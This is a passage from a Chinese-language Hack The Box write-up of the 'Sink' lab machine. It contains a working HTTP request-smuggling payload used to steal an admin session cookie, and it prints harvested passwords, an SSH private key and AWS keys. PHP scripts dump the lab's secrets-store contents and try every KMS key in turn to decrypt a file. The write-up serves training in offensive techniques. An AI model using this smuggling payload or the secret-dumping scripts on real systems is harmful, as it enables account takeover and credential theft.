SF:180b318dbde9c;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=5Ky4gK3kv
SF:oCly7f1byXVrrmaJuM6MTYxMjc2MjMwMTk2Njg0MjIyMA;\x20Path=/;\x20Expires=Tu
SF:e,\x2009\x20Feb\x202021\x2005:31:41\x20GMT;\x20HttpOnly\r\nX-Frame-Opti
SF:ons:\x20SAMEORIGIN\r\nDate:\x20Mon,\x2008\x20Feb\x202021\x2005:31:41\x2
SF:0GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"them
SF:e-\">\n<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<me
SF:ta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-sca
SF:le=1\">\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge
SF:\">\n\t<title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\x20Git\x20with\x2
SF:0a\x20cup\x20of\x20tea\x20</title>\n\t<link\x20rel=\"manifest\"\x20href
SF:=\"/manifest\.json\"\x20crossorigin=\"use-credentials\">\n\t<meta\x20na
SF:me=\"theme-color\"\x20content=\"#6cc644\">\n\t<meta\x20name=\"author\"\
SF:x20content=\"Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\"\x20/>
SF:\n\t<meta\x20name=\"description\"\x20content=\"Gitea\x20\(Git\x20with\x
SF:20a\x20c");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

#### port 3000

3000是gitea

#### port 5000

5000是devops

#### devops

5000端口随意注册登录，查看请求响应发现haproxy和gunicorn：

``` bash
HTTP/1.1 200 OK

Server: gunicorn/20.0.0

Date: Mon, 08 Feb 2021 05:45:01 GMT

Connection: close

Content-Type: text/html; charset=utf-8

Content-Length: 6392

Vary: Cookie

Via: haproxy

X-Served-By: a3bb59be4ff6
```

这个搭配搜索资料发现请求走私漏洞：

 - [HAProxy HTTP request smuggling (CVE-2019-18277)](https://nathandavison.com/blog/haproxy-http-request-smuggling)

#### 请求走私

随意注册登录进去后提交评论，进行请求走私，然后会触发管理员的request，之后去home查看，管理员的request header会作为评论显示在那里：

 - payload request

``` bash
POST /comment HTTP/1.1

Host: 10.10.10.225:5000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 358

Origin: http://10.10.10.225:5000

Connection: keep-alive

Referer: http://10.10.10.225:5000/home

Cookie: lang=zh-CN; i_like_gitea=1e8c376ed33ccd6e; _csrf=bsRZO43k9rTxqa5xKtfSmm747Y86MTYxMjc2MjIxNjA0MTE3MDI2MA; session=eyJlbWFpbCI6IjExODUxNTE4NjdAcXEuY29tIn0.YCDPxQ.cL41EY7kCeXTgvXKY-wD348qaDE

Upgrade-Insecure-Requests: 1

Transfer-Encoding: chunked



5

msg=a

0



POST /comment HTTP/1.1

Host: localhost:5000

Cookie: lang=zh-CN; i_like_gitea=1e8c376ed33ccd6e; _csrf=bsRZO43k9rTxqa5xKtfSmm747Y86MTYxMjc2MjIxNjA0MTE3MDI2MA; session=eyJlbWFpbCI6IjExODUxNTE4NjdAcXEuY29tIn0.YCDPxQ.cL41EY7kCeXTgvXKY-wD348qaDE

Content-Length: 300

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded



msg=
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb181.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb182.jpg)

得到管理员的请求包，里面包含有管理员的cookie

``` bash
GET /notes/delete/1234 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip, deflate Accept: */*
Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YB75fQ.Gp1wldORpfX5Ry7FC4mcewT-YCU
X-Forwarded-For: 127.0.0.1
```

管理员cookie

``` bash
Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YB75fQ.Gp1wldORpfX5Ry7FC4mcewT-YCU
```

#### admin

替换cookie，现在就是管理员了

#### notes

admin三个notes就是三个不同系统的账号密码：

``` bash
Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz

Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3

Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C
```

#### gitea

使用code那个用户名密码可以登录3000的gitea：

``` bash
root : FaH@3L>Z3})zzfQ3
```

#### Key_Management

在Key_Management的commits里可以找到marcus用户的私钥：

``` bash
http://10.10.10.225:3000/root/Key_Management/commit/b01a6b7ed372d154ed0bc43a342a5e1203d07b1e
```

 - id_rsa

``` bash
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

#### user flag

然后直接用这个私钥ssh登录marcus用户，得到user.txt:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/sink]
└─# ssh -i id_rsa marcus@10.10.10.225
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-53-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 08 Feb 2021 10:18:34 AM UTC

  System load:                      0.2
  Usage of /:                       40.5% of 17.59GB
  Memory usage:                     63%
  Swap usage:                       1%
  Processes:                        305
  Users logged in:                  0
  IPv4 address for br-85739d6e29c0: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.10.10.225
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:8eea


79 updates can be installed immediately.
26 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sun Feb  7 17:56:51 2021 from 10.10.14.12
marcus@sink:~$ id
uid=1001(marcus) gid=1001(marcus) groups=1001(marcus)
marcus@sink:~$ whoami
marcus
marcus@sink:~$ ls
user.txt
marcus@sink:~$ cat user.txt
f9e781e7a74603e7e49c3749fe6182e0
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb183.jpg)

#### AWS

根据Key_Management相关代码，主要就是aws操作，可以直接在已有代码的基础上进行操作, 下载代码，根据代码信息需要把4566端口转发出来,key和secret可以在Log_Management中找到：

``` bash
http://10.10.10.225:3000/root/Log_Management/commit/e8d68917f2570f3695030d0ded25dc95738fb1ba

'key' => 'AKIAIUEN3QWCPSTEITJQ',
'secret' => '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'
```

``` bash
ssh -N -L 4566:127.0.0.1:4566 -i id_rsa marcus@10.10.10.225
```

#### list secrets

 - list_secrets.php

``` bash
<?php
require 'vendor/autoload.php';

use Aws\SecretsManager\SecretsManagerClient;
use Aws\Exception\AwsException;

$client = new SecretsManagerClient([
	'region' => 'eu',
	'endpoint' => 'http://127.0.0.1:4566',
	'credentials' => [
		'key' => 'AKIAIUEN3QWCPSTEITJQ',
		'secret' => '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'
	],
	'version' => 'latest'
]);
try {
$result = $client->listSecrets(array(
));
var_dump($result);
}
catch (AwsException $e) {
    echo $e->getMessage();
    echo "\n";
}
?>
```

运行php脚本

``` bash
┌──(root💀kali)-[~/hackthebox/machine/sink]
└─# php list_secrets.php 
object(Aws\Result)#128 (2) {
  ["data":"Aws\Result":private]=>
  array(2) {
    ["SecretList"]=>
    array(3) {
      [0]=>
      array(9) {
        ["ARN"]=>
        string(70) "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-ElTxf"
        ["Name"]=>
        string(13) "Jenkins Login"
        ["Description"]=>
        string(39) "Master Server to manage release cycle 1"
        ["KmsKeyId"]=>
        string(0) ""
        ["RotationEnabled"]=>
        bool(false)
        ["RotationLambdaARN"]=>
        string(0) ""
        ["RotationRules"]=>
        array(1) {
          ["AutomaticallyAfterDays"]=>
          int(0)
        }
        ["Tags"]=>
        array(0) {
        }
        ["SecretVersionsToStages"]=>
        array(1) {
          ["f5bfe052-d05c-46ec-a317-e563c9be2760"]=>
          array(1) {
            [0]=>
            string(10) "AWSCURRENT"
          }
        }
      }
      [1]=>
      array(9) {
        ["ARN"]=>
        string(67) "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-qZfJI"
        ["Name"]=>
        string(10) "Sink Panel"
        ["Description"]=>
        string(46) "A panel to manage the resources in the devnode"
        ["KmsKeyId"]=>
        string(0) ""
        ["RotationEnabled"]=>
        bool(false)
        ["RotationLambdaARN"]=>
        string(0) ""
        ["RotationRules"]=>
        array(1) {
          ["AutomaticallyAfterDays"]=>
          int(0)
        }
        ["Tags"]=>
        array(0) {
        }
        ["SecretVersionsToStages"]=>
        array(1) {
          ["32cf640a-5ef1-4f84-bd9e-2ab3c6514a53"]=>
          array(1) {
            [0]=>
            string(10) "AWSCURRENT"
          }
        }
      }
      [2]=>
      array(9) {
        ["ARN"]=>
        string(69) "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-GoJSC"
        ["Name"]=>
        string(12) "Jira Support"
        ["Description"]=>
        string(22) "Manage customer issues"
        ["KmsKeyId"]=>
        string(0) ""
        ["RotationEnabled"]=>
        bool(false)
        ["RotationLambdaARN"]=>
        string(0) ""
        ["RotationRules"]=>
        array(1) {
          ["AutomaticallyAfterDays"]=>
          int(0)
        }
        ["Tags"]=>
        array(0) {
        }
        ["SecretVersionsToStages"]=>
        array(1) {
          ["8dfff6f9-3250-4577-9f57-f5e945c828ba"]=>
          array(1) {
            [0]=>
            string(10) "AWSCURRENT"
          }
        }
      }
    }
    ["@metadata"]=>
    array(4) {
      ["statusCode"]=>
      int(200)
      ["effectiveUri"]=>
      string(21) "http://127.0.0.1:4566"
      ["headers"]=>
      array(9) {
        ["content-type"]=>
        string(24) "text/html; charset=utf-8"
        ["content-length"]=>
        string(4) "1679"
        ["access-control-allow-origin"]=>
        string(1) "*"
        ["access-control-allow-methods"]=>
        string(38) "HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH"
        ["access-control-allow-headers"]=>
        string(196) "authorization,content-type,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging"
        ["access-control-expose-headers"]=>
        string(16) "x-amz-version-id"
        ["connection"]=>
        string(5) "close"
        ["date"]=>
        string(29) "Mon, 08 Feb 2021 10:49:11 GMT"
        ["server"]=>
        string(13) "hypercorn-h11"
      }
      ["transferStats"]=>
      array(1) {
        ["http"]=>
        array(1) {
          [0]=>
          array(0) {
          }
        }
      }
    }
  }
  ["monitoringEvents":"Aws\Result":private]=>
  array(0) {
  }
}
```

#### get secret values

 - get_secret_values.php

``` bash
<?php
require 'vendor/autoload.php';

use Aws\SecretsManager\SecretsManagerClient;
use Aws\Exception\AwsException;

$client = new SecretsManagerClient([
        'region' => 'eu',
        'endpoint' => 'http://127.0.0.1:4566',
        'credentials' => [
                'key' => 'AKIAIUEN3QWCPSTEITJQ',
                'secret' => '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'
        ],
        'version' => 'latest'
]);

$secretIDs = ["arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-ElTxf",
    "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-qZfJI",
    "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-GoJSC"];

try {
for ($i=0; $i<count($secretIDs); $i++) {
    $result = $client->getSecretValue(array(
        'SecretId' => $secretIDs[$i],
    ));
    var_dump($result);
}
}
catch (AwsException $e) {
    echo $e->getMessage();
    echo "\n";
}
```

运行php脚本

``` bash
┌──(root💀kali)-[~/hackthebox/machine/sink]
└─# php get_secret_values.php 
object(Aws\Result)#101 (2) {
  ["data":"Aws\Result":private]=>
  array(7) {
    ["ARN"]=>
    string(70) "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-ElTxf"
    ["Name"]=>
    string(13) "Jenkins Login"
    ["VersionId"]=>
    string(36) "f5bfe052-d05c-46ec-a317-e563c9be2760"
    ["SecretString"]=>
    string(57) "{"username":"john@sink.htb","password":"R);\)ShS99mZ~8j"}"
    ["VersionStages"]=>
    array(1) {
      [0]=>
      string(10) "AWSCURRENT"
    }
    ["CreatedDate"]=>
    object(Aws\Api\DateTimeResult)#97 (3) {
      ["date"]=>
      string(26) "2021-02-06 20:18:57.000000"
      ["timezone_type"]=>
      int(1)
      ["timezone"]=>
      string(6) "+00:00"
    }
    ["@metadata"]=>
    array(4) {
      ["statusCode"]=>
      int(200)
      ["effectiveUri"]=>
      string(21) "http://127.0.0.1:4566"
      ["headers"]=>
      array(9) {
        ["content-type"]=>
        string(24) "text/html; charset=utf-8"
        ["content-length"]=>
        string(3) "305"
        ["access-control-allow-origin"]=>
        string(1) "*"
        ["access-control-allow-methods"]=>
        string(38) "HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH"
        ["access-control-allow-headers"]=>
        string(196) "authorization,content-type,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging"
        ["access-control-expose-headers"]=>
        string(16) "x-amz-version-id"
        ["connection"]=>
        string(5) "close"
        ["date"]=>
        string(29) "Mon, 08 Feb 2021 10:54:12 GMT"
        ["server"]=>
        string(13) "hypercorn-h11"
      }
      ["transferStats"]=>
      array(1) {
        ["http"]=>
        array(1) {
          [0]=>
          array(0) {
          }
        }
      }
    }
  }
  ["monitoringEvents":"Aws\Result":private]=>
  array(0) {
  }
}
object(Aws\Result)#126 (2) {
  ["data":"Aws\Result":private]=>
  array(7) {
    ["ARN"]=>
    string(67) "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-qZfJI"
    ["Name"]=>
    string(10) "Sink Panel"
    ["VersionId"]=>
    string(36) "32cf640a-5ef1-4f84-bd9e-2ab3c6514a53"
    ["SecretString"]=>
    string(55) "{"username":"albert@sink.htb","password":"Welcome123!"}"
    ["VersionStages"]=>
    array(1) {
      [0]=>
      string(10) "AWSCURRENT"
    }
    ["CreatedDate"]=>
    object(Aws\Api\DateTimeResult)#131 (3) {
      ["date"]=>
      string(26) "2021-02-06 20:18:57.000000"
      ["timezone_type"]=>
      int(1)
      ["timezone"]=>
      string(6) "+00:00"
    }
    ["@metadata"]=>
    array(4) {
      ["statusCode"]=>
      int(200)
      ["effectiveUri"]=>
      string(21) "http://127.0.0.1:4566"
      ["headers"]=>
      array(9) {
        ["content-type"]=>
        string(24) "text/html; charset=utf-8"
        ["content-length"]=>
        string(3) "296"
        ["access-control-allow-origin"]=>
        string(1) "*"
        ["access-control-allow-methods"]=>
        string(38) "HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH"
        ["access-control-allow-headers"]=>
        string(196) "authorization,content-type,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging"
        ["access-control-expose-headers"]=>
        string(16) "x-amz-version-id"
        ["connection"]=>
        string(5) "close"
        ["date"]=>
        string(29) "Mon, 08 Feb 2021 10:54:15 GMT"
        ["server"]=>
        string(13) "hypercorn-h11"
      }
      ["transferStats"]=>
      array(1) {
        ["http"]=>
        array(1) {
          [0]=>
          array(0) {
          }
        }
      }
    }
  }
  ["monitoringEvents":"Aws\Result":private]=>
  array(0) {
  }
}
object(Aws\Result)#135 (2) {
  ["data":"Aws\Result":private]=>
  array(7) {
    ["ARN"]=>
    string(69) "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-GoJSC"
    ["Name"]=>
    string(12) "Jira Support"
    ["VersionId"]=>
    string(36) "8dfff6f9-3250-4577-9f57-f5e945c828ba"
    ["SecretString"]=>
    string(59) "{"username":"david@sink.htb","password":"EALB=bcC=`a7f2#k"}"
    ["VersionStages"]=>
    array(1) {
      [0]=>
      string(10) "AWSCURRENT"
    }
    ["CreatedDate"]=>
    object(Aws\Api\DateTimeResult)#140 (3) {
      ["date"]=>
      string(26) "2021-02-06 20:18:57.000000"
      ["timezone_type"]=>
      int(1)
      ["timezone"]=>
      string(6) "+00:00"
    }
    ["@metadata"]=>
    array(4) {
      ["statusCode"]=>
      int(200)
      ["effectiveUri"]=>
      string(21) "http://127.0.0.1:4566"
      ["headers"]=>
      array(9) {
        ["content-type"]=>
        string(24) "text/html; charset=utf-8"
        ["content-length"]=>
        string(3) "304"
        ["access-control-allow-origin"]=>
        string(1) "*"
        ["access-control-allow-methods"]=>
        string(38) "HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH"
        ["access-control-allow-headers"]=>
        string(196) "authorization,content-type,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging"
        ["access-control-expose-headers"]=>
        string(16) "x-amz-version-id"
        ["connection"]=>
        string(5) "close"
        ["date"]=>
        string(29) "Mon, 08 Feb 2021 10:54:16 GMT"
        ["server"]=>
        string(13) "hypercorn-h11"
      }
      ["transferStats"]=>
      array(1) {
        ["http"]=>
        array(1) {
          [0]=>
          array(0) {
          }
        }
      }
    }
  }
  ["monitoringEvents":"Aws\Result":private]=>
  array(0) {
  }
}
```

整理出账号密码

``` bash
{"username":"john@sink.htb","password":"R);\)ShS99mZ~8j"}
{"username":"albert@sink.htb","password":"Welcome123!"}
{"username":"david@sink.htb","password":"EALB=bcC=`a7f2#k"}
```

#### david

通过aws相关操作得到david密码，切换到david：

``` bash
marcus@sink:~$ su david
Password: 
david@sink:/home/marcus$ id
uid=1000(david) gid=1000(david) groups=1000(david)
david@sink:/home/marcus$ whoami
david
```

#### servers.enc

发现一个加密的servers.enc文件，解密还是需要通过aws操作：

``` bash
david@sink:~$ cd Projects/
david@sink:~/Projects$ ls
Prod_Deployment
david@sink:~/Projects$ cd Prod_Deployment/
david@sink:~/Projects/Prod_Deployment$ ls
servers.enc
david@sink:~/Projects/Prod_Deployment$ cat servers.enc 
�$j�p����8=R]=�µ+�,�gS��I=�7�▒�S�.ɒ`�46Z]���F�C����t(�{���?]!��Ci�5�V'�E����?�r�{3�r�\�)�{�#��(j�,.�$�X#D�r��_8\�Z»q<�o���*��<����'â0R/Z��<y�B�#
                Y|�4�9�U�ݠ~��\M��"a�q�▒a
����Ļ;U���/2��둲Q�HL"S�{��
쯮��CCx�8룘u�Y����z��j?�y�����z� ���1w9�EV��\�T
                                               F)c@�9s▒/�����?ġ����g�����Z���1��8;��o�:��'�����l剺��O���A!}�v�,��9H#Q�w�▒1������5Vt��6���d���5�&�$���hKY!$MPI�$z��MU��/?7�L��M*�ſ▒�david@sink:~/Projects/Prod_Deployment$
```

#### listkeys

项目里自带listkeys，直接运行报错，需要把里面的version改成latest,还有认证信息参考前面的脚本改:

 - listkeys1.php

``` bash
<?php
require 'vendor/autoload.php';

use Aws\Kms\KmsClient;
use Aws\Exception\AwsException;

$KmsClient = new Aws\Kms\KmsClient([
    'version' => 'latest',
    'region' => 'eu',
    'credentials' => [
        'key' => 'AKIAIUEN3QWCPSTEITJQ',
        'secret' => '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'
    ],
    'endpoint' => 'http://127.0.0.1:4566'
]);

$limit = 100;

try {
    $result = $KmsClient->listKeys([
        'Limit' => $limit,
    ]);
    var_dump($result);
} catch (AwsException $e) {
    echo $e->getMessage();
    echo "\n";
}
```

运行php脚本

``` bash
┌──(root💀kali)-[~/hackthebox/machine/sink]
└─# php listkeys1.php | grep "string(36)" | cut -d " " -f 10
"0b539917-5eff-45b2-9fa1-e13f0d2c42ac"
"16754494-4333-4f77-ad4c-d0b73d799939"
"2378914f-ea22-47af-8b0c-8252ef09cd5f"
"2bf9c582-eed7-482f-bfb6-2e4e7eb88b78"
"53bb45ef-bf96-47b2-a423-74d9b89a297a"
"804125db-bdf1-465a-a058-07fc87c0fad0"
"837a2f6e-e64c-45bc-a7aa-efa56a550401"
"881df7e3-fb6f-4c7b-9195-7f210e79e525"
"c5217c17-5675-42f7-a6ec-b5aa9b9dbbde"
"f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"
"f2358fef-e813-4c59-87c8-70e50f6d4f70"
```

#### decrypt

 - decrypt.php

``` bash
<?php
require 'vendor/autoload.php';

use Aws\Kms\KmsClient;
use Aws\Exception\AwsException;

$KmsClient = new Aws\Kms\KmsClient([
    'version' => 'latest',
    'region' => 'eu',
    'credentials' => [
        'key' => 'AKIAIUEN3QWCPSTEITJQ',
        'secret' => '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'
    ],
    'endpoint' => 'http://127.0.0.1:4566'
]);

$keys = ["0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
    "16754494-4333-4f77-ad4c-d0b73d799939",
    "2378914f-ea22-47af-8b0c-8252ef09cd5f",
    "2bf9c582-eed7-482f-bfb6-2e4e7eb88b78",
    "53bb45ef-bf96-47b2-a423-74d9b89a297a",
    "804125db-bdf1-465a-a058-07fc87c0fad0",
    "837a2f6e-e64c-45bc-a7aa-efa56a550401",
    "881df7e3-fb6f-4c7b-9195-7f210e79e525",
    "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
    "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc",
    "f2358fef-e813-4c59-87c8-70e50f6d4f70"];
$cipherb64 = "mXMs+8ZLEp9krGLLJT2YHLgHQP/uRJYSfX+YTqar7wabvOQ8PSuPwUFAmEJh86q3kaURmnRxr/smZvkU6Pp0KPV7ye2sP10hvPJDF2mkNcIEVif3RaMU08jZi7U/ghZyoXseM6EEcu9c1gYpDqZ74CMEh7AoasksLswCJJZYI0TfcvTlXx84XBfCWsK7cTyDb4SughAq9MY89Q6lt7gnw6IwG/tSHi9a1MY8eblCwCMNwRrFQ44x8p3hS2FLxZe2iKUrpiyUDmdThpFJPcM3uxiXU+cuyZJgxzQ2Wl0Gqaj0RpVD2w2wJGrQBnCnouahOD1SXT3DwrUMWXyeNMc52lWo3aB+mq/uhLxcTeGSImHJcfUYYQqXoIrOHcS7O1WFoaMvMtIAl+uRslGVSEwiU6sVe9nMCuyvrsbsQ0N46jjro5h1nFmTmZ0C1Xr97Go/pHmJxgG1lxnOepsglLrPMXc5F6lFH1aKxlzFVAxGKWNAzTlzGC+HnBXjugLpP8Shpb24HPdnt/fF/dda8qyaMcYZCOmLODums2+ROtrPJ4CTuaiSbOWJuheQ6U/v5AbeQSF93RF28iyiA905SCNRi3ejGDH65OWv6aw1VnTf8TaREPH5ZNLazTW5Jo8kvLqJaEtZISRNUEmsJHr79U1VjpovPzePTKeDTR0qosW/GJ8=";

for ($i=0; $i<count($keys); $i++) {

try {
    $result = $KmsClient->enableKey([
        'KeyId' => $keys[$i],
    ]);

    $result = $KmsClient->decrypt([
        'CiphertextBlob' => base64_decode($cipherb64),
        'KeyId' => $keys[$i],
        'EncryptionAlgorithm' => 'RSAES_OAEP_SHA_256',
    ]);
    echo base64_encode($result["Plaintext"]);
}
catch (AwsException $e) {
}
}
```

运行php脚本

``` bash
┌──(root💀kali)-[~/hackthebox/machine/sink]
└─# php decrypt.php 
H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA=
```

#### servers.yml

解密base64密文得到明文，gzip解压后是servers.yml，里面有密码：

use online cyberchef

